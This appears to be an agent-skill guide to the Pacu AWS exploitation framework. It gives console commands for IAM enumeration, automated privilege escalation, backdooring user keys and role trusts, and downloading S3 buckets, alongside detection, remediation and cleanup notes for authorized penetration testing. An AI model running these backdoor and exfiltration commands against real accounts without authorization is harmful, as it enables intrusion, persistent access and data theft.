external/anthropic-cybersecurity-skills/skills/exploiting-aws-with-pacu/SKILL.md
Use Pacu modules for AWS privilege escalation, persistence, and backdooring.
npx skillsauth add seikaikyo/dash-skills exploiting-aws-with-pacuInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legal Notice: This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope/Rules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.
Pacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence/backdooring/exfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.
A Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with set_keys or by importing from ~/.aws/credentials), confirm the identity with whoami, then enumerate IAM and the rest of the account. The flagship workflow is iam__enum_permissions followed by iam__privesc_scan, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:PassRole + lambda:CreateFunction, sts:AssumeRole) and can auto-exploit them. Persistence modules such as iam__backdoor_users_keys mint a second access key on an existing user, and iam__backdoor_assume_role adds a trust to a role so the attacker can assume it later.
This skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence/backdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com/RhinoSecurityLabs/pacu.
python3 -m pip install -U pip
python3 -m pip install -U pacu # then run: pacu
# or, preferred on Kali, with pipx:
pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
# or Docker:
docker run -it rhinosecuritylabs/pacu:latest
aws sts get-caller-identity)| ID | Name | Use in this skill |
|----|------|-------------------|
| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal and abuses its permissions |
| T1098.001 | Account Manipulation: Additional Cloud Credentials | iam__backdoor_users_keys mints a second access key |
| T1098.003 | Account Manipulation: Additional Cloud Roles | iam__backdoor_assume_role / privesc via role policy changes |
| T1580 | Cloud Infrastructure Discovery | ec2__enum, iam__enum_users_roles_policies_groups |
| T1530 | Data from Cloud Storage | s3__download_bucket retrieves S3 objects |
| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS credential abuse |
pacu
# In the Pacu console:
Pacu> set_keys
# key alias : engagement-target
# access key : AKIA...
# secret key : ...
# session tok: (optional)
Pacu> whoami
Pacu> run aws sts get-caller-identity # or, outside Pacu: aws sts get-caller-identity
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__enum_permissions
Pacu> data IAM # review what was collected into the session DB
iam__privesc_scan checks the principal against known AWS privesc primitives and lists viable methods.
Pacu> run iam__privesc_scan
# To attempt automated exploitation of a discovered method:
Pacu> run iam__privesc_scan --offline # analyze without making changes
Pacu> run iam__backdoor_users_keys --usernames target-user
# Add an assumable-role trust for long-term access:
Pacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user/attacker
Pacu> run ec2__enum
Pacu> run s3__download_bucket --names target-bucket
Pacu> data S3
Pacu> run secrets__enum
Pacu supports one-shot module execution from the shell.
pacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec
pacu --session engagement --module-name s3__download_bucket \
--module-args "--names target-bucket" --exec
Pacu> data all > /dev/stdout # review collected data
# Manually remove every backdoor created (record ARNs/key IDs first):
aws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR
aws iam update-assume-role-policy --role-name target-role --policy-document file://original-trust.json
See scripts/agent.py to drive the enumerate->privesc flow non-interactively.
| Resource | Purpose | Link |
|----------|---------|------|
| Pacu GitHub | Source, modules, wiki | https://github.com/RhinoSecurityLabs/pacu |
| Pacu module list | Per-module documentation | https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details |
| Rhino AWS privesc research | The privesc primitives iam__privesc_scan checks | https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ |
| AWS IAM docs | Permission and policy reference | https://docs.aws.amazon.com/IAM/latest/UserGuide/ |
| CloudGoat | Vulnerable AWS lab to practice safely | https://github.com/RhinoSecurityLabs/cloudgoat |
Pacu modules are noisy and durable; an operator must plan for both detection and cleanup:
iam__enum_permissions and iam__enum_users_roles_policies_groups generate a large
burst of iam:List*/iam:Get* calls visible in CloudTrail and GuardDuty
(Discovery:IAMUser/AnomalousBehavior).iam__privesc_scan in non-offline mode can make state-changing calls
(iam:CreatePolicyVersion, iam:AttachUserPolicy); use --offline for analysis only.iam__backdoor_users_keys triggers iam:CreateAccessKey, and
iam__backdoor_assume_role triggers iam:UpdateAssumeRolePolicy — both are
high-signal persistence indicators that defenders alert on.| Finding | Remediation |
|---------|-------------|
| Over-permissive IAM principal (privesc path) | Apply least privilege; scope iam:PassRole with conditions |
| iam:CreatePolicyVersion / SetDefaultPolicyVersion allowed | Remove from non-admin roles |
| Long-lived access keys | Enforce key rotation; prefer roles / short-lived STS creds |
| No detection on key creation | Alert on CreateAccessKey / UpdateAssumeRolePolicy in CloudTrail |
| Module | Purpose |
|--------|---------|
| iam__enum_users_roles_policies_groups | Enumerate all IAM principals and policies |
| iam__enum_permissions | Resolve the current principal's effective permissions |
| iam__privesc_scan | Identify (and optionally exploit) privesc paths |
| iam__backdoor_users_keys | Create a backdoor access key on a user |
| iam__backdoor_assume_role | Add an attacker-controlled trust to a role |
| ec2__enum | Enumerate EC2 instances, volumes, snapshots |
| s3__download_bucket | Download objects from an S3 bucket |
| secrets__enum | Enumerate Secrets Manager / SSM parameters |
whoami / sts get-caller-identityiam__privesc_scan run and viable paths documenteddevelopment
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.